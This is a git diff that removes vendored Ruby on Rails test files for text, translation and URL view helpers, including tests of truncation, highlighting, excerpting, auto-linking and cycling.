-    assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
-
-    text = "A\nB\nC\nD".freeze
-    assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
-
-    text = "A\r\n  \nB\n\n\r\n\t\nC\nD".freeze
-    assert_equal "<p>A\n<br />  \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
-
-     assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test')
-     assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test')
-  end
-
-  def test_simple_format_should_be_html_safe
-    assert simple_format("<b> test with html tags </b>").html_safe?
-  end
-
-  def test_simple_format_should_not_escape_safe_input
-    assert_equal "<p><b> test with safe string </b></p>", simple_format("<b> test with safe string </b>".html_safe)
-  end
-
-  def test_truncate
-    assert_equal "Hello World!", truncate("Hello World!", :length => 12)
-    assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12)
-  end
-
-  def test_truncate_should_use_default_length_of_30
-    str = "This is a string that will go longer then the default truncate length of 30"
-    assert_equal str[0...27] + "...", truncate(str)
-  end
-
-  def test_truncate_with_options_hash
-    assert_equal "This is a string that wil[...]", truncate("This is a string that will go longer then the default truncate length of 30", :omission => "[...]")
-    assert_equal "Hello W...", truncate("Hello World!", :length => 10)
-    assert_equal "Hello[...]", truncate("Hello World!", :omission => "[...]", :length => 10)
-  end
-
-  if RUBY_VERSION < '1.9.0'
-    def test_truncate_multibyte
-      with_kcode 'none' do
-        assert_equal "\354\225\210\353\205\225\355...", truncate("\354\225\210\353\205\225\355\225\230\354\204\270\354\232\224", :length => 10)
-      end
-      with_kcode 'u' do
-        assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...",
-          truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244", :length => 10)
-      end
-    end
-  else
-    def test_truncate_multibyte
-      assert_equal "\354\225\210\353\205\225\355...",
-        truncate("\354\225\210\353\205\225\355\225\230\354\204\270\354\232\224", :length => 10)
-
-      assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding('UTF-8'),
-        truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8'), :length => 10)
-    end
-  end
-
-  def test_highlighter
-    assert_equal(
-      "This is a <strong class=\"highlight\">beautiful</strong> morning",
-      highlight("This is a beautiful morning", "beautiful")
-    )
-
-    assert_equal(
-      "This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day",
-      highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
-    )
-
-    assert_equal(
-      "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
-      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", '<b>\1</b>')
-    )
-
-    assert_equal(
-      "This text is not changed because we supplied an empty phrase",
-      highlight("This text is not changed because we supplied an empty phrase", nil)
-    )
-
-    assert_equal '   ', highlight('   ', 'blank text is returned verbatim')
-  end
-
-  def test_highlight_with_regexp
-    assert_equal(
-      "This is a <strong class=\"highlight\">beautiful!</strong> morning",
-      highlight("This is a beautiful! morning", "beautiful!")
-    )
-
-    assert_equal(
-      "This is a <strong class=\"highlight\">beautiful! morning</strong>",
-      highlight("This is a beautiful! morning", "beautiful! morning")
-    )
-
-    assert_equal(
-      "This is a <strong class=\"highlight\">beautiful? morning</strong>",
-      highlight("This is a beautiful? morning", "beautiful? morning")
-    )
-  end
-
-  def test_highlight_with_multiple_phrases_in_one_pass
-    assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), '<em>\1</em>')
-  end
-
-  def test_highlight_with_options_hash
-    assert_equal(
-      "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
-      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
-    )
-  end
-
-  def test_highlight_with_html
-    assert_equal(
-      "<p>This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
-      highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
-    )
-    assert_equal(
-      "<p>This is a <em><strong class=\"highlight\">beautiful</strong></em> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
-      highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
-    )
-    assert_equal(
-      "<p>This is a <em class=\"error\"><strong class=\"highlight\">beautiful</strong></em> morning, but also a <strong class=\"highlight\">beautiful</strong> <span class=\"last\">day</span></p>",
-      highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
-    )
-    assert_equal(
-      "<p class=\"beautiful\">This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
-      highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
-    )
-    assert_equal(
-      "<p>This is a <strong class=\"highlight\">beautiful</strong> <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
-      highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
-    )
-  end
-
-  def test_excerpt
-    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", 5))
-    assert_equal("This is a...", excerpt("This is a beautiful morning", "this", 5))
-    assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", 5))
-    assert_nil excerpt("This is a beautiful morning", "day")
-  end
-
-  def test_excerpt_in_borderline_cases
-    assert_equal("", excerpt("", "", 0))
-    assert_equal("a", excerpt("a", "a", 0))
-    assert_equal("...b...", excerpt("abc", "b", 0))
-    assert_equal("abc", excerpt("abc", "b", 1))
-    assert_equal("abc...", excerpt("abcd", "b", 1))
-    assert_equal("...abc", excerpt("zabc", "b", 1))
-    assert_equal("...abc...", excerpt("zabcd", "b", 1))
-    assert_equal("zabcd", excerpt("zabcd", "b", 2))
-
-    # excerpt strips the resulting string before ap-/prepending excerpt_string.
-    # whether this behavior is meaningful when excerpt_string is not to be
-    # appended is questionable.
-    assert_equal("zabcd", excerpt("  zabcd  ", "b", 4))
-    assert_equal("...abc...", excerpt("z  abc  d", "b", 1))
-  end
-
-  def test_excerpt_with_regex
-    assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', 5))
-    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', 5))
-  end
-
-  def test_excerpt_with_options_hash
-    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
-    assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
-    assert_equal(
-      "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
-      excerpt("This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome temperatures. So what are you gonna do about it?", "very",
-      :omission => "[...]")
-    )
-  end
-
-  if RUBY_VERSION < '1.9'
-    def test_excerpt_with_utf8
-      with_kcode('u') do
-        assert_equal("...\357\254\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped", 'could', 8))
-      end
-      with_kcode('none') do
-        assert_equal("...\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped", 'could', 8))
-      end
-    end
-  else
-    def test_excerpt_with_utf8
-      assert_equal("...\357\254\203ciency could not be...".force_encoding('UTF-8'), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding('UTF-8'), 'could', 8))
-      assert_equal("...\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped", 'could', 8))
-    end
-  end
-
-  def test_word_wrap
-    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", 15))
-  end
-
-  def test_word_wrap_with_extra_newlines
-    assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", 15))
-  end
-
-  def test_word_wrap_with_options_hash
-    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
-  end
-
-  def test_pluralization
-    assert_equal("1 count", pluralize(1, "count"))
-    assert_equal("2 counts", pluralize(2, "count"))
-    assert_equal("1 count", pluralize('1', "count"))
-    assert_equal("2 counts", pluralize('2', "count"))
-    assert_equal("1,066 counts", pluralize('1,066', "count"))
-    assert_equal("1.25 counts", pluralize('1.25', "count"))
-    assert_equal("1.0 count", pluralize('1.0', "count"))
-    assert_equal("1.00 count", pluralize('1.00', "count"))
-    assert_equal("2 counters", pluralize(2, "count", "counters"))
-    assert_equal("0 counters", pluralize(nil, "count", "counters"))
-    assert_equal("2 people", pluralize(2, "person"))
-    assert_equal("10 buffaloes", pluralize(10, "buffalo"))
-    assert_equal("1 berry", pluralize(1, "berry"))
-    assert_equal("12 berries", pluralize(12, "berry"))
-  end
-
-  def test_auto_link_parsing
-    urls = %w(
-      http://www.rubyonrails.com
-      http://www.rubyonrails.com:80
-      http://www.rubyonrails.com/~minam
-      https://www.rubyonrails.com/~minam
-      http://www.rubyonrails.com/~minam/url%20with%20spaces
-      http://www.rubyonrails.com/foo.cgi?something=here
-      http://www.rubyonrails.com/foo.cgi?something=here&and=here
-      http://www.rubyonrails.com/contact;new
-      http://www.rubyonrails.com/contact;new%20with%20spaces
-      http://www.rubyonrails.com/contact;new?with=query&string=params
-      http://www.rubyonrails.com/~minam/contact;new?with=query&string=params
-      http://en.wikipedia.org/wiki/Wikipedia:Today%27s_featured_picture_%28animation%29/January_20%2C_2007
-      http://www.mail-archive.com/rails@lists.rubyonrails.org/
-      http://www.amazon.com/Testing-Equal-Sign-In-Path/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1198861734&sr=8-1
-      http://en.wikipedia.org/wiki/Texas_hold'em
-      https://www.google.com/doku.php?id=gps:resource:scs:start
-      http://connect.oraclecorp.com/search?search[q]=green+france&search[type]=Group
-      http://of.openfoundry.org/projects/492/download#4th.Release.3
-      http://maps.google.co.uk/maps?f=q&q=the+london+eye&ie=UTF8&ll=51.503373,-0.11939&spn=0.007052,0.012767&z=16&iwloc=A
-    )
-
-    urls.each do |url|
-      assert_equal generate_result(url), auto_link(url)
-    end
-  end
-
-  def generate_result(link_text, href = nil)
-    href ||= link_text
-    %{<a href="#{CGI::escapeHTML href}">#{CGI::escapeHTML link_text}</a>}
-  end
-
-  def test_auto_linking
-    email_raw    = 'david@loudthinking.com'
-    email_result = %{<a href="mailto:#{email_raw}">#{email_raw}</a>}
-    link_raw     = 'http://www.rubyonrails.com'
-    link_result  = generate_result(link_raw)
-    link_result_with_options = %{<a href="#{link_raw}" target="_blank">#{link_raw}</a>}
-
-    assert_equal '', auto_link(nil)
-    assert_equal '', auto_link('')
-    assert_equal "#{link_result} #{link_result} #{link_result}", auto_link("#{link_raw} #{link_raw} #{link_raw}")
-
-    assert_equal %(hello #{email_result}), auto_link("hello #{email_raw}", :email_addresses)
-    assert_equal %(Go to #{link_result}), auto_link("Go to #{link_raw}", :urls)
-    assert_equal %(Go to #{link_raw}), auto_link("Go to #{link_raw}", :email_addresses)
-    assert_equal %(Go to #{link_result} and say hello to #{email_result}), auto_link("Go to #{link_raw} and say hello to #{email_raw}")
-    assert_equal %(<p>Link #{link_result}</p>), auto_link("<p>Link #{link_raw}</p>")
-    assert_equal %(<p>#{link_result} Link</p>), auto_link("<p>#{link_raw} Link</p>")
-    assert_equal %(<p>Link #{link_result_with_options}</p>), auto_link("<p>Link #{link_raw}</p>", :all, {:target => "_blank"})
-    assert_equal %(Go to #{link_result}.), auto_link(%(Go to #{link_raw}.))
-    assert_equal %(<p>Go to #{link_result}, then say hello to #{email_result}.</p>), auto_link(%(<p>Go to #{link_raw}, then say hello to #{email_raw}.</p>))
-    assert_equal %(#{link_result} #{link_result}), auto_link(%(#{link_result} #{link_raw}))
-
-    email2_raw    = '+david@loudthinking.com'
-    email2_result = %{<a href="mailto:#{email2_raw}">#{email2_raw}</a>}
-    assert_equal email2_result, auto_link(email2_raw)
-
-    email3_raw    = '+david@loudthinking.com'
-    email3_result = %{<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;+%64%61%76%69%64@%6c%6f%75%64%74%68%69%6e%6b%69%6e%67.%63%6f%6d">#{email3_raw}</a>}
-    assert_equal email3_result, auto_link(email3_raw, :all, :encode => :hex)
-    assert_equal email3_result, auto_link(email3_raw, :email_addresses, :encode => :hex)
-
-    link2_raw    = 'www.rubyonrails.com'
-    link2_result = generate_result(link2_raw, "http://#{link2_raw}")
-    assert_equal %(Go to #{link2_result}), auto_link("Go to #{link2_raw}", :urls)
-    assert_equal %(Go to #{link2_raw}), auto_link("Go to #{link2_raw}", :email_addresses)
-    assert_equal %(<p>Link #{link2_result}</p>), auto_link("<p>Link #{link2_raw}</p>")
-    assert_equal %(<p>#{link2_result} Link</p>), auto_link("<p>#{link2_raw} Link</p>")
-    assert_equal %(Go to #{link2_result}.), auto_link(%(Go to #{link2_raw}.))
-    assert_equal %(<p>Say hello to #{email_result}, then go to #{link2_result}.</p>), auto_link(%(<p>Say hello to #{email_raw}, then go to #{link2_raw}.</p>))
-
-    link3_raw    = 'http://manuals.ruby-on-rails.com/read/chapter.need_a-period/103#page281'
-    link3_result = generate_result(link3_raw)
-    assert_equal %(Go to #{link3_result}), auto_link("Go to #{link3_raw}", :urls)
-    assert_equal %(Go to #{link3_raw}), auto_link("Go to #{link3_raw}", :email_addresses)
-    assert_equal %(<p>Link #{link3_result}</p>), auto_link("<p>Link #{link3_raw}</p>")
-    assert_equal %(<p>#{link3_result} Link</p>), auto_link("<p>#{link3_raw} Link</p>")
-    assert_equal %(Go to #{link3_result}.), auto_link(%(Go to #{link3_raw}.))
-    assert_equal %(<p>Go to #{link3_result}. Seriously, #{link3_result}? I think I'll say hello to #{email_result}. Instead.</p>),
-       auto_link(%(<p>Go to #{link3_raw}. Seriously, #{link3_raw}? I think I'll say hello to #{email_raw}. Instead.</p>))
-
-    link4_raw    = 'http://foo.example.com/controller/action?parm=value&p2=v2#anchor123'
-    link4_result = generate_result(link4_raw)
-    assert_equal %(<p>Link #{link4_result}</p>), auto_link("<p>Link #{link4_raw}</p>")
-    assert_equal %(<p>#{link4_result} Link</p>), auto_link("<p>#{link4_raw} Link</p>")
-
-    link5_raw    = 'http://foo.example.com:3000/controller/action'
-    link5_result = generate_result(link5_raw)
-    assert_equal %(<p>#{link5_result} Link</p>), auto_link("<p>#{link5_raw} Link</p>")
-
-    link6_raw    = 'http://foo.example.com:3000/controller/action+pack'
-    link6_result = generate_result(link6_raw)
-    assert_equal %(<p>#{link6_result} Link</p>), auto_link("<p>#{link6_raw} Link</p>")
-
-    link7_raw    = 'http://foo.example.com/controller/action?parm=value&p2=v2#anchor-123'
-    link7_result = generate_result(link7_raw)
-    assert_equal %(<p>#{link7_result} Link</p>), auto_link("<p>#{link7_raw} Link</p>")
-
-    link8_raw    = 'http://foo.example.com:3000/controller/action.html'
-    link8_result = generate_result(link8_raw)
-    assert_equal %(Go to #{link8_result}), auto_link("Go to #{link8_raw}", :urls)
-    assert_equal %(Go to #{link8_raw}), auto_link("Go to #{link8_raw}", :email_addresses)
-    assert_equal %(<p>Link #{link8_result}</p>), auto_link("<p>Link #{link8_raw}</p>")
-    assert_equal %(<p>#{link8_result} Link</p>), auto_link("<p>#{link8_raw} Link</p>")
-    assert_equal %(Go to #{link8_result}.), auto_link(%(Go to #{link8_raw}.))
-    assert_equal %(<p>Go to #{link8_result}. Seriously, #{link8_result}? I think I'll say hello to #{email_result}. Instead.</p>),
-       auto_link(%(<p>Go to #{link8_raw}. Seriously, #{link8_raw}? I think I'll say hello to #{email_raw}. Instead.</p>))
-
-    link9_raw    = 'http://business.timesonline.co.uk/article/0,,9065-2473189,00.html'
-    link9_result = generate_result(link9_raw)
-    assert_equal %(Go to #{link9_result}), auto_link("Go to #{link9_raw}", :urls)
-    assert_equal %(Go to #{link9_raw}), auto_link("Go to #{link9_raw}", :email_addresses)
-    assert_equal %(<p>Link #{link9_result}</p>), auto_link("<p>Link #{link9_raw}</p>")
-    assert_equal %(<p>#{link9_result} Link</p>), auto_link("<p>#{link9_raw} Link</p>")
-    assert_equal %(Go to #{link9_result}.), auto_link(%(Go to #{link9_raw}.))
-    assert_equal %(<p>Go to #{link9_result}. Seriously, #{link9_result}? I think I'll say hello to #{email_result}. Instead.</p>),
-       auto_link(%(<p>Go to #{link9_raw}. Seriously, #{link9_raw}? I think I'll say hello to #{email_raw}. Instead.</p>))
-
-    link10_raw    = 'http://www.mail-archive.com/ruby-talk@ruby-lang.org/'
-    link10_result = generate_result(link10_raw)
-    assert_equal %(<p>#{link10_result} Link</p>), auto_link("<p>#{link10_raw} Link</p>")
-  end
-
-  def test_auto_link_other_protocols
-    ftp_raw = 'ftp://example.com/file.txt'
-    assert_equal %(Download #{generate_result(ftp_raw)}), auto_link("Download #{ftp_raw}")
-    
-    file_scheme   = 'file:///home/username/RomeoAndJuliet.pdf'
-    z39_scheme    = 'z39.50r://host:696/db'
-    chrome_scheme = 'chrome://package/section/path'
-    view_source   = 'view-source:http://en.wikipedia.org/wiki/URI_scheme'
-    assert_equal generate_result(z39_scheme), auto_link(z39_scheme)
-    assert_equal generate_result(chrome_scheme), auto_link(chrome_scheme)
-    assert_equal generate_result(view_source), auto_link(view_source)
-  end
-
-  def test_auto_link_already_linked
-    linked1 = generate_result('Ruby On Rails', 'http://www.rubyonrails.com')
-    linked2 = %('<a href="http://www.example.com">www.example.com</a>')
-    linked3 = %('<a href="http://www.example.com" rel="nofollow">www.example.com</a>')
-    linked4 = %('<a href="http://www.example.com"><b>www.example.com</b></a>')
-    linked5 = %('<a href="#close">close</a> <a href="http://www.example.com"><b>www.example.com</b></a>')
-    assert_equal linked1, auto_link(linked1)
-    assert_equal linked2, auto_link(linked2)
-    assert_equal linked3, auto_link(linked3)
-    assert_equal linked4, auto_link(linked4)
-    assert_equal linked5, auto_link(linked5)
-    
-    linked_email = %Q(<a href="mailto:david@loudthinking.com">Mail me</a>)
-    assert_equal linked_email, auto_link(linked_email)
-  end
-
-  def test_auto_link_within_tags
-    link_raw    = 'http://www.rubyonrails.org/images/rails.png'
-    link_result = %Q(<img src="#{link_raw}" />)
-    assert_equal link_result, auto_link(link_result)
-  end
-
-  def test_auto_link_with_brackets
-    link1_raw = 'http://en.wikipedia.org/wiki/Sprite_(computer_graphics)'
-    link1_result = generate_result(link1_raw)
-    assert_equal link1_result, auto_link(link1_raw)
-    assert_equal "(link: #{link1_result})", auto_link("(link: #{link1_raw})")
-
-    link2_raw = 'http://en.wikipedia.org/wiki/Sprite_[computer_graphics]'
-    link2_result = generate_result(link2_raw)
-    assert_equal link2_result, auto_link(link2_raw)
-    assert_equal "[link: #{link2_result}]", auto_link("[link: #{link2_raw}]")
-
-    link3_raw = 'http://en.wikipedia.org/wiki/Sprite_{computer_graphics}'
-    link3_result = generate_result(link3_raw)
-    assert_equal link3_result, auto_link(link3_raw)
-    assert_equal "{link: #{link3_result}}", auto_link("{link: #{link3_raw}}")
-  end
-
-  def test_auto_link_at_eol
-    url1 = "http://api.rubyonrails.com/Foo.html"
-    url2 = "http://www.ruby-doc.org/core/Bar.html"
-
-    assert_equal %(<p><a href="#{url1}">#{url1}</a><br /><a href="#{url2}">#{url2}</a><br /></p>), auto_link("<p>#{url1}<br />#{url2}<br /></p>")
-  end
-
-  def test_auto_link_with_block
-    url = "http://api.rubyonrails.com/Foo.html"
-    email = "fantabulous@shiznadel.ic"
-
-    assert_equal %(<p><a href="#{url}">#{url[0...7]}...</a><br /><a href="mailto:#{email}">#{email[0...7]}...</a><br /></p>), auto_link("<p>#{url}<br />#{email}<br /></p>") { |url| truncate(url, :length => 10) }
-  end
-  
-  def test_auto_link_with_block_with_html
-    pic = "http://example.com/pic.png"
-    url = "http://example.com/album?a&b=c"
-    
-    assert_equal %(My pic: <a href="#{pic}"><img src="#{pic}" width="160px"></a> -- full album here #{generate_result(url)}), auto_link("My pic: #{pic} -- full album here #{url}") { |link|
-      if link =~ /\.(jpg|gif|png|bmp|tif)$/i
-        raw %(<img src="#{link}" width="160px">)
-      else
-        link
-      end
-    }
-  end
-
-  def test_auto_link_with_options_hash
-    assert_dom_equal 'Welcome to my new blog at <a href="http://www.myblog.com/" class="menu" target="_blank">http://www.myblog.com/</a>. Please e-mail me at <a href="mailto:me@email.com" class="menu" target="_blank">me@email.com</a>.',
-      auto_link("Welcome to my new blog at http://www.myblog.com/. Please e-mail me at me@email.com.",
-                :link => :all, :html => { :class => "menu", :target => "_blank" })
-  end
-  
-  def test_auto_link_with_multiple_trailing_punctuations
-    url = "http://youtube.com"
-    url_result = generate_result(url)
-    assert_equal url_result, auto_link(url)
-    assert_equal "(link: #{url_result}).", auto_link("(link: #{url}).")
-  end
-
-  def test_cycle_class
-    value = Cycle.new("one", 2, "3")
-    assert_equal("one", value.to_s)
-    assert_equal("2", value.to_s)
-    assert_equal("3", value.to_s)
-    assert_equal("one", value.to_s)
-    value.reset
-    assert_equal("one", value.to_s)
-    assert_equal("2", value.to_s)
-    assert_equal("3", value.to_s)
-  end
-
-  def test_cycle_class_with_no_arguments
-    assert_raise(ArgumentError) { value = Cycle.new() }
-  end
-
-  def test_cycle
-    assert_equal("one", cycle("one", 2, "3"))
-    assert_equal("2", cycle("one", 2, "3"))
-    assert_equal("3", cycle("one", 2, "3"))
-    assert_equal("one", cycle("one", 2, "3"))
-    assert_equal("2", cycle("one", 2, "3"))
-    assert_equal("3", cycle("one", 2, "3"))
-  end
-
-  def test_cycle_with_no_arguments
-    assert_raise(ArgumentError) { value = cycle() }
-  end
-
-  def test_cycle_resets_with_new_values
-    assert_equal("even", cycle("even", "odd"))
-    assert_equal("odd", cycle("even", "odd"))
-    assert_equal("even", cycle("even", "odd"))
-    assert_equal("1", cycle(1, 2, 3))
-    assert_equal("2", cycle(1, 2, 3))
-    assert_equal("3", cycle(1, 2, 3))
-    assert_equal("1", cycle(1, 2, 3))
-  end
-
-  def test_named_cycles
-    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("red", cycle("red", "blue", :name => "colors"))
-    assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("blue", cycle("red", "blue", :name => "colors"))
-    assert_equal("3", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("red", cycle("red", "blue", :name => "colors"))
-  end
-
-  def test_current_cycle_with_default_name
-    cycle("even","odd")
-    assert_equal "even", current_cycle
-    cycle("even","odd")
-    assert_equal "odd", current_cycle
-    cycle("even","odd")
-    assert_equal "even", current_cycle
-  end
-
-  def test_current_cycle_with_named_cycles
-    cycle("red", "blue", :name => "colors")
-    assert_equal "red", current_cycle("colors")
-    cycle("red", "blue", :name => "colors")
-    assert_equal "blue", current_cycle("colors")
-    cycle("red", "blue", :name => "colors")
-    assert_equal "red", current_cycle("colors")
-  end
-
-  def test_current_cycle_safe_call
-    assert_nothing_raised { current_cycle }
-    assert_nothing_raised { current_cycle("colors") }
-  end
-
-  def test_current_cycle_with_more_than_two_names
-    cycle(1,2,3)
-    assert_equal "1", current_cycle
-    cycle(1,2,3)
-    assert_equal "2", current_cycle
-    cycle(1,2,3)
-    assert_equal "3", current_cycle
-    cycle(1,2,3)
-    assert_equal "1", current_cycle
-  end
-
-  def test_default_named_cycle
-    assert_equal("1", cycle(1, 2, 3))
-    assert_equal("2", cycle(1, 2, 3, :name => "default"))
-    assert_equal("3", cycle(1, 2, 3))
-  end
-
-  def test_reset_cycle
-    assert_equal("1", cycle(1, 2, 3))
-    assert_equal("2", cycle(1, 2, 3))
-    reset_cycle
-    assert_equal("1", cycle(1, 2, 3))
-  end
-
-  def test_reset_unknown_cycle
-    reset_cycle("colors")
-  end
-
-  def test_recet_named_cycle
-    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("red", cycle("red", "blue", :name => "colors"))
-    reset_cycle("numbers")
-    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("blue", cycle("red", "blue", :name => "colors"))
-    assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
-    assert_equal("red", cycle("red", "blue", :name => "colors"))
-  end
-
-  def test_cycle_no_instance_variable_clashes
-    @cycles = %w{Specialized Fuji Giant}
-    assert_equal("red", cycle("red", "blue"))
-    assert_equal("blue", cycle("red", "blue"))
-    assert_equal("red", cycle("red", "blue"))
-    assert_equal(%w{Specialized Fuji Giant}, @cycles)
-  end
-
-  if defined? RedCloth
-    def test_textilize
-      assert_equal("<p><strong>This is Textile!</strong>  Rejoice!</p>", textilize("*This is Textile!*  Rejoice!"))
-    end
-
-    def test_textilize_with_blank
-      assert_equal("", textilize(""))
-    end
-
-    def test_textilize_with_options
-      assert_equal("<p>This is worded &lt;strong&gt;strongly&lt;/strong&gt;</p>", textilize("This is worded <strong>strongly</strong>", :filter_html))
-    end
-
-    def test_textilize_with_hard_breaks
-      assert_equal("<p>This is one scary world.<br />\n True.</p>", textilize("This is one scary world.\n True."))
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/translation_helper_test.rb b/vendor/rails/actionpack/test/template/translation_helper_test.rb
deleted file mode 100644
index 6555eaa3..00000000
--- a/vendor/rails/actionpack/test/template/translation_helper_test.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-require 'abstract_unit'
-
-class TranslationHelperTest < ActiveSupport::TestCase
-  include ActionView::Helpers::TagHelper
-  include ActionView::Helpers::TranslationHelper
-
-  attr_reader :request
-  def setup
-  end
-
-  def test_delegates_to_i18n_setting_the_raise_option
-    I18n.expects(:translate).with(['foo'], :locale => 'en', :raise => true).returns([""])
-    translate :foo, :locale => 'en'
-  end
-
-  def test_returns_missing_translation_message_wrapped_into_span
-    expected = '<span class="translation_missing">en, foo</span>'
-    assert_equal expected, translate(:foo)
-  end
-
-  def test_translation_returning_an_array
-    I18n.expects(:translate).with(["foo"], :raise => true).returns(["foo", "bar"])
-    assert_equal ["foo", "bar"], translate(:foo)
-  end
-
-  def test_translation_of_an_array
-    assert_deprecated do
-      I18n.expects(:translate).with(["foo", "bar"], :raise => true).returns(["foo", "bar"])
-      assert_equal ["foo", "bar"], translate(["foo", "bar"])
-    end
-  end
-
-  def test_translation_of_an_array_returning_an_array
-    assert_deprecated do
-      I18n.expects(:translate).with(["foo", "bar"], :raise => true).returns(["foo", ["bar", "baz"]])
-      assert_equal ["foo", ["bar", "baz"]], translate(["foo", "bar"])
-    end
-  end
-
-  def test_translation_of_an_array_with_html
-    assert_deprecated do
-      translate_expected = ['<a href="#">foo</a>', '<a href="#">bar</a>', '<a href="#">baz</a>']
-      I18n.expects(:translate).with(["foo", "bar", "baz_html"], :raise => true).returns(translate_expected)
-      @view = ActionView::Base.new(ActionController::Base.view_paths, {})
-      expected = '<a href="#">foo</a>, <a href="#">bar</a>, <a href="#">baz</a>'
-      assert_equal expected, @view.render(:file => "test/array_translation")
-    end
-  end
-
-  def test_delegates_localize_to_i18n
-    @time = Time.utc(2008, 7, 8, 12, 18, 38)
-    I18n.expects(:localize).with(@time)
-    localize @time
-  end
-
-  def test_scoping_by_partial
-    I18n.expects(:translate).with(["test.translation.helper"], :raise => true).returns(["helper"])
-    @view = ActionView::Base.new(ActionController::Base.view_paths, {})
-    assert_equal "helper", @view.render(:file => "test/translation")
-  end
-
-  def test_scoping_by_partial_of_an_array
-    assert_deprecated do
-      I18n.expects(:translate).with(["test.scoped_array_translation.foo", "test.scoped_array_translation.bar"], :raise => true).returns(["foo", "bar"])
-      @view = ActionView::Base.new(ActionController::Base.view_paths, {})
-      assert_equal "foo, bar", @view.render(:file => "test/scoped_array_translation")
-    end
-  end
-
-  def test_translate_works_with_symbols
-    I18n.expects(:translate).with(["hello"], :raise => true).returns(["Hello World"])
-    assert_equal "Hello World", translate(:hello)
-  end
-
-
-  def test_translate_does_not_mark_plain_text_as_safe_html
-    I18n.expects(:translate).with(["hello"], :raise => true).returns(["Hello World"])
-    assert_equal false, translate("hello").html_safe?
-  end
-
-  def test_translate_marks_translations_named_html_as_safe_html
-    I18n.expects(:translate).with(["html"], :raise => true).returns(["<a>Hello World</a>"])
-    assert translate("html").html_safe?
-  end
-
-  def test_translate_marks_translations_with_a_html_suffix_as_safe_html
-    I18n.expects(:translate).with(["hello_html"], :raise => true).returns(["<a>Hello World</a>"])
-    assert translate("hello_html").html_safe?
-  end
-
-  def test_translation_returning_an_array_ignores_html_suffix
-    I18n.expects(:translate).with(["foo_html"], :raise => true).returns(["foo", "bar"])
-    assert_equal ["foo", "bar"], translate(:foo_html)
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/url_helper_test.rb b/vendor/rails/actionpack/test/template/url_helper_test.rb
deleted file mode 100644
index 480624f4..00000000
--- a/vendor/rails/actionpack/test/template/url_helper_test.rb
+++ /dev/null
@@ -1,641 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-
-RequestMock = Struct.new("Request", :request_uri, :protocol, :host_with_port, :env)
-
-class UrlHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::UrlHelper
-
-  def setup
-    @controller = Class.new do
-      attr_accessor :url, :request
-      def url_for(options)
-        url
-      end
-    end
-    @controller = @controller.new
-    @controller.url = "http://www.example.com"
-  end
-
